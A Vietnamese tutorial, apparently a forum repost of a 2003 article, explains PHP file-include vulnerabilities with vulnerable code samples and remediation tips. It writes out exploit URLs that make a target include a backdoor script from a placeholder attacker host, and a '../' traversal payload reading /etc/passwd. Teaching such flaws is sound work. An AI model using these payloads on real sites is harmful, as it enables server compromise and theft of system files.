PHP File Include - Phát hiện, khai thác và khắc phục (Bài viết của Guanyu - Mod HVA 2003)
Bài viết này tuy đã lâu rồi, nhưng hiện nay lỗi này vẫn còn khá phổ biến, nên tôi post lại bài này.
Bài này thực sự có ích cho những lập trình viên sử dụng PHP, thông thường những lập trình viên nếu có chú ý đến bảo mật thì cũng chỉ chủ yếu xử lí SQL Injection mà không biết đến cái gọi là PHP injection.
Đây cũng là 1 lỗi rất phổ biến mà hacker khai thác ở mức web application.
Bài viết này là một bài tổng kết lại quá trình tìm hiểu lỗi PHP File
Include. Có thể nó hơi khó hiểu, nhưng mình hi vọng các bạn có thể định
nghĩa rõ hơn về lỗi này cũng như tự mình có thể phát hiện lổi trong các
sản phẩn PHP. Xin nói thâm là các đánh giá dưới đây là theo góc nhìn
của QVT chứ không phải đánh giá của bất kì hệ thống nào.
|---------------------------------
Mức độ phổ thông: 5-6
Mức độ nguy hiểm: 7-9
Mục tiêu tấn công: Server
Vị trí kẻ tấn công: Client
---------------------------------|
Như ta đã biết hàm include() hay require() trong PHP giúp cho lập trình
viên không phải lập đi lập lại một đoạn mã thường sử dụng nào đó và làm
cho chương trình trở nên gọn hơn. Nhưng song song với mặt tích cực là
mặt tiêu cực, tuy hai hàm này rất tiện lợi nhưng nếu ta dùng nó không
cẩn thận thì sẽ rất nguy hiểm.
I ) Phát Hiện:
__ Lỗi PHP file include phát sinh do sự bất cẩn của người viết chương
trình (xin gọi là coder). Thay vì sử dụng một string ‘x’ (chuỗi) làm
đường dẫn đến file cần include (hay require) thì coder lại dùng một
biến ‘y’ để thay thế cho chuỗi ‘x’ ấy nhằm tránh lập lại một chuỗi ‘x’
nhàm chán (có thể do họ… lười). Nếu biến ấy đã được khai báo thì không
có vấn đề gì ngiêm trọng. Ngược lại nếu coder bất cẩn không khai báo
biến ‘y’ ấy thì các attacker sẽ lợi dụng ngay điều này. Họ sẽ khai báo
biến ‘y’ là đường dẫn đến file của họ (có thể là BackDoor) và thế là
hàm include() sẽ thực hiện một cách máy móc: include file có đường dẫn
được attacker khai báo… Thật nguy hiểm.
__ Theo tớ có hai loại lỗi file include: include remote file và include local file.
__ Để hiểu rõ hơn, các bạn hãy xem các ví dụ đơn giản sau:
1/ Include remote file:
a/ Lỗi đơn giản:
|---------BEGIN of test.php-------
CODE <?php
$ex=”/home/www/testsite”;
include(“$ex/index.php”);
[…]
?>
----------END of test.php---------|
Đoạn code trên không có vấn đề gì cả. Nhưng nếu là đoạn code dưới đây thì sao?
|---------BEGIN of test.php-------
CODE <?php
include(“$ex/index.php”);
[…]
?>
----------END of test.php---------|
__ Bạn nói sao? ừ 100% là trang này đã bị lỗi File include. Chúng ta có thể khai thác bằng cách sữ dụng link sao:
http://www (http://www/).[target].com/test.php?ex=http://www.[attacker].com/
__ Link này sẽ include file http://www
(http://www/).[attacker].com/index.php. Tại seo lại như vậy? Ta có thể
giải thích một cách đơn giản như sau: ta đã khai báo biến $ex là
http://www (http://www/).[attacker].com/ lúc bấy giờ trong hàm
include() có dạng như sau:
include(“http://www.[attacker].com/index.php”). Bạn hiểu chưa?
__ Chúng ta cần chú ý một vấn đề rất quan trọng trong việc khai thác
lỗi File Include này. Đó là host chứa file ta muốn include phải KHÔNG
HỖ TRỢ PHP. Bạn có biết vì sao lại như vậy không? Vấn đề hết sức đơn
giản vì hàm include() và require() chỉ có thể include được giá trị HTML
Output của trang mà nó include (nếu include các file ở ngoài host). Do
vậy nếu bạn dùng host có hỗ trợ PHP thì cái mà bạn include được chỉ là
BackDoor đang chạy trên… host của bạn thôi chứ bạn chưa làm gì được
host của victim cả. Trong khi mục đích của ta ở đây là “biến file bị
lỗi của victim thành một backdoor”. Vì vậy, host không hổ trợ PHP sẽ
đưa code của file này ra HTML output và thế là toàn bộ code đó được
file bị lỗi đưa vào source của nó. Thế là nó tự biến mình thành
backdoor một cách vô thức.
b/ Lỗi File include thông qua isset(), if()…
Mời bạn xem tiếp code của một số file:
|---------BEGIN of test1.php-------
CODE <?php
if (!$file) {$file = "index.php";}
include(“$file”);
[…]
?>
----------END of test1.php---------|
Và
|---------BEGIN of test2.php-------
CODE <?php
if (!isset( $path )) $path = '/home/';
include(“$path/index.php”);
[…]
?>
----------END of test2.php---------|
__ Cả hai đoạn code này có chung một sai lầm: đó là không khai báo trực
tiếp các biến mà phụ thuộc vào người dùng cuối có khai báo các biến đó
không. Tôi xin giải thích ý nghĩa của hai đoạn code trên cho các bạn
không có khả năng đọc code:
|____ Ở file test1.php: nếu biến “$file” chưa được khai báo thì sẽ được
gắn giá trị mặc định là index.php. Và sau đó là include file được khai
báo ở biến “$file”.
|____ Ở file test2.php: cũng tương tự như trên, nếu biến “$path” chưa
được khai báo thì sẽ được gắn giá trị mặc định là “/home/” và sau đó sẽ
include file có thư mục được khai báo ớ biến “$path”.
__ Chính vì vậy các attacker có thể lợi dụng sơ hở này để khai báo các
biến và include các file mà họ muốn. Vì khi ta đã khai báo biến thì các
giá trị mặc định của biến đó đã bị vô hiệu hoá.
__ Ta có thể khai thác như sau:
Với file test1.php:
http://www (http://www/).[target].com/test1.php?file=http://www.[attacker].com/remview.php
Sẽ Include file remview.php
Với file test2.php:
http://www (http://www/).[target].com/test2.php?path=http://www.[attacker].com/
Sẽ include file “index.php” tại trang http://www (http://www/).[attacker].com/
2/ Include local file:
__ Loại này cũng gần giống như include remote file. Nhưng nó khác ở
chổ: biến chứa tên file bị giới hạn bởi một thư mục đứng trước nó.
Vd: Một file bị lỗi include local file có dạng như sau:
|---------BEGIN of test3.php-------
CODE <?php
include(“/home/$file”);
[…]
?>
----------END of test3.php---------|
Xin chú ý là biến $file chưa được khai báo.
__ Nếu ta dùng:
http://www (http://www/).[target].com/test3.php?file=http://www.[attacker].com/remview.php
Thì trong code của file test3.php sẽ trở thành như sau:
|---------BEGIN of test3.php-------
CODE <?php
include(“/home/http://www.[attacker].com/remview.php”);
[…]
?>
----------END of test3.php---------|
Một đường dẫn vô nghĩa. Do đó ta không thể include được file ta muốn.
__ Bấy giờ ta chỉ có thể sử dụng cách sau:
http://www (http://www/).[target].com/test3.php?file=../../../../../../../../etc/passwd
Link trên đã khai báo biến $file với giá trị là: “../../../../../../../../etc/passwd”. Lúc này code của file test3.php có dạng:
|---------BEGIN of test3.php-------
CODE <?php
include(“/home/../../../../../../../../etc/passwd”);
[…]
?>
----------END of test3.php---------|
__ Các kí tự : “../../” đã giúp ta vượt qua các cấp thư mục trở về thư
mục gốc”/” (đối với Linux) và sau đó là include file /etc/passwd. Thế
là toàn bộ nội dung file passwd sẽ được hiển thị trên trình duyệt của
attacker. Ta có thể thay thế /etc/passwd bằng bất cứ file nào ta muốn
include (+xem). Xin chú ý: càng dùng nhiều kí tự “../” càng tốt vì nó
sẽ đảm bảo đưa ta đến thư mục gốc.
II ) Khắc phục:
Khắc hục lỗi file include này theo tớ là đơn giản hơn fix các lỗi khác nhiều.
Nếu sản phẩm bạn code chưa mắc lỗi hay đã này thì tôi xin khuyên bạn vài điều để hạn chế việc mắc phải lỗi này.
+ Hạn chế dùng các biến trong các hàm (include và require), nếu đã dùng
nên đảm bảo các biến đó đã được khai báo đầy đủ và chính xác. Nếu bạn
vẫn thích dùng biến thay thế cho đường dẫn thì tại sao bạn không dùng
hàm define() nhỉ? Hàm này không cho phép user khai báo từ bên ngoài,
hoặc bạn có thể dùng các kí tự đại diện cho các cấp thư mục như: “./”
(thư mục hiện hành), “../” (thư mục cấp trên).
+ Hạn chế việc khai báo biến phụ thuộc vào nguời dùng cuối như ở Vd 2. Nên khai báo trực tiếp biến đó.